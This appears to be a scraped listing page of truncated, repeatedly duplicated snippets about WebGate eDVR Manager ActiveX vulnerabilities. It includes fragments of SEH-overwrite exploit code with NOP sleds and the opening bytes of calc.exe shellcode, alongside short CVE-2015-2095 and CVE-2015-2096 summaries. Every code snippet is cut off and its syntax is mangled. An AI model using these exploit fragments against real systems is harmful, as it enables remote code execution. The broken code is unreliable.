WebGate eDVR Manager 2.6.4 - SiteName Stack Overflow

WebGate eDVR Manager 2.6.4 - SiteName Stack Overflow var buff1= ""; var buff2= "PraveenD"; var nops = ""; for i=0; i128; i++ buff1 += "B"; var nseh = "\xeb\x08PD"; var seh = "\xa0\xf2\x07\x10"; for i=0;i80; i++ nops += "\x90"; //calc.exe payload sc =...

WebGate eDVR Manager 2.6.4 SiteName Stack Overflow

var buff1= ""; var buff2= "PraveenD"; var nops = ""; for i=0; i128; i++ buff1 += "B"; var nseh = "\xeb\x08PD"; var seh = "\xa0\xf2\x07\x10"; for i=0;i80; i++ nops += "\x90"; //calc.exe payload sc = "\x54\x5d\xda\xc9\xd9\x75\xf4\x59\x49\x49\x49\x49\x49" +...

WebGate eDVR Manager 2.6.4 SiteName Stack Overflow Exploit

WebGate eDVR Manager version 2.6.4 suffers from a SiteName stack overflow vulnerability. var buff1= ""; var buff2= "PraveenD"; var nops = ""; for i=0; i128; i++ buff1 += "B"; var nseh = "\xeb\x08PD"; var seh = "\xa0\xf2\x07\x10"; for i=0;i80; i++ nops += "\x90"; //calc.exe payload sc =...

WebGate eDVR Manager 2.6.4 - SiteName Stack Overflow

var buff1= ""; var buff2= "PraveenD"; var nops = ""; for i=0; i128; i++ buff1 += "B"; var nseh = "\xeb\x08PD"; var seh = "\xa0\xf2\x07\x10"; for i=0;i80; i++ nops += "\x90"; //calc.exe payload sc = "\x54\x5d\xda\xc9\xd9\x75\xf4\x59\x49\x49\x49\x49\x49" +...

WebGate eDVR Manager - Remote Stack Buffer Overflow

WebGate eDVR Manager - Remote Stack Buffer Overflow var arg1 = ""; nops = ""; var buff = ""; fori=0;i"+"Lengths: arg1="+arg1.length+" seh="+seh.length+""; fori=0;i200;i++ nops += "\x90"; sc = "\x54\x5d\xda\xc9\xd9\x75\xf4\x59\x49\x49\x49\x49\x49" +...

WebGate eDVR Manager - Remote Stack Buffer Overflow

var arg1 = ""; nops = ""; var buff = ""; fori=0;i"+"Lengths: arg1="+arg1.length+" seh="+seh.length+""; fori=0;i200;i++ nops += "\x90"; sc = "\x54\x5d\xda\xc9\xd9\x75\xf4\x59\x49\x49\x49\x49\x49" + "\x43\x43\x43\x43\x43\x43\x51\x5a\x56\x54\x58\x33\x30" +...

Multiple Buffer Overflow Vulnerabilities in WebGate eDVR Manager

WebGate is an APM solution for real-time monitoring and performance management of business-critical systems based on J2EE architecture. A buffer overflow vulnerability in the LoadImageEx method of WebGate eDVR Manager WESPMonitor.WESPMonitorCtrl.1 allows an attacker to construct a malicious web...

WebGate eDVR Manager WESPMonitor.WESPMonitorCtrl.1 ActiveX Control Memory Misreference Vulnerability

WebGate eDVR Manager is an eDVR software manager from WebGate Korea. A memory misreference vulnerability exists in the 'Connect' function in the WESPMonitor.WESPMonitorCtrl.1 ActiveX control of WebGate eDVR Manager. A remote attacker could exploit this vulnerability to execute arbitrary code via ...

WebGate eDVR Manager WESPPTZ.WESPPTZCtrl.1 ActiveX Control Heap Buffer Overflow Vulnerability

WebGate eDVR Manager is an eDVR software manager from WebGate Korea. A heap buffer overflow vulnerability exists in the 'SetConnectInfo' function in the WESPPTZ.WESPPTZCtrl.1 ActiveX control of WebGate eDVR Manager. A remote attacker can exploit this vulnerability to execute arbitrary code via...

CVE-2015-2096

Use-after-free vulnerability in the Connect function in the WESPMonitor.WESPMonitorCtrl.1 ActiveX control in WebGate eDVR Manager allows remote attackers to execute arbitrary code via an invalid IP address and a page reload...

CVE-2015-2095

Heap-based buffer overflow in the SetConnectInfo function in the WESPPTZ.WESPPTZCtrl.1 ActiveX control in WebGate eDVR Manager allows remote attackers to execute arbitrary code via crafted arguments...

Design/Logic Flaw

Use-after-free vulnerability in the Connect function in the WESPMonitor.WESPMonitorCtrl.1 ActiveX control in WebGate eDVR Manager allows remote attackers to execute arbitrary code via an invalid IP address and a page reload...

Heap overflow

Heap-based buffer overflow in the SetConnectInfo function in the WESPPTZ.WESPPTZCtrl.1 ActiveX control in WebGate eDVR Manager allows remote attackers to execute arbitrary code via crafted arguments...

CVE-2015-2096

Use-after-free vulnerability in the Connect function in the WESPMonitor.WESPMonitorCtrl.1 ActiveX control in WebGate eDVR Manager allows remote attackers to execute arbitrary code via an invalid IP address and a page reload...

CVE-2015-2095

WebGate eDVR Manager's WESPPTZ.WESPPTZCtrl.1 ActiveX control is affected by a heap-based buffer overflow in SetConnectInfo. A remote attacker can run arbitrary code by supplying crafted arguments. Concrete details from multiple sources: Affected component: WESPPTZCtrl.1 ActiveX control in WebGate...

CVE-2015-2096

Use-after-free vulnerability in the Connect function in the WESPMonitor.WESPMonitorCtrl.1 ActiveX control in WebGate eDVR Manager allows remote attackers to execute arbitrary code via an invalid IP address and a page reload...

CVE-2015-2096

WebGate eDVR Manager exposes the WESPMonitor.WESPMonitorCtrl.1 ActiveX control. CVE-2015-2096 is a use-after-free in the Connect() method that can allow remote code execution when an attacker provides an invalid IP address and reloads the page. The vulnerability is triggered by a freed pointer be...

CVE-2015-2095

Heap-based buffer overflow in the SetConnectInfo function in the WESPPTZ.WESPPTZCtrl.1 ActiveX control in WebGate eDVR Manager allows remote attackers to execute arbitrary code via crafted arguments...

Multiple Buffer Overflow Vulnerabilities in WebGate eDVR Manager ActiveX Controls

WebGate eDVR Manager is an eDVR software manager from WebGate Korea. Multiple buffer overflow vulnerabilities exist in WebGate eDVR Manager ActiveX Controls, which can be exploited by an attacker to execute arbitrary code within an application typically Internet Explorer with ActiveX controls or...

(0Day) WebGate eDVR Manager WESPMonitor.WESPMonitorCtrl.1 LoadImage Stack Buffer Overflow Remote Code Execution Vulnerability

This vulnerability allows remote attackers to execute arbitrary code on vulnerable installations of WebGate eDVR Manager. User interaction is required to exploit this vulnerability in that the target must visit a malicious page or open a malicious file. The specific flaw exists within the...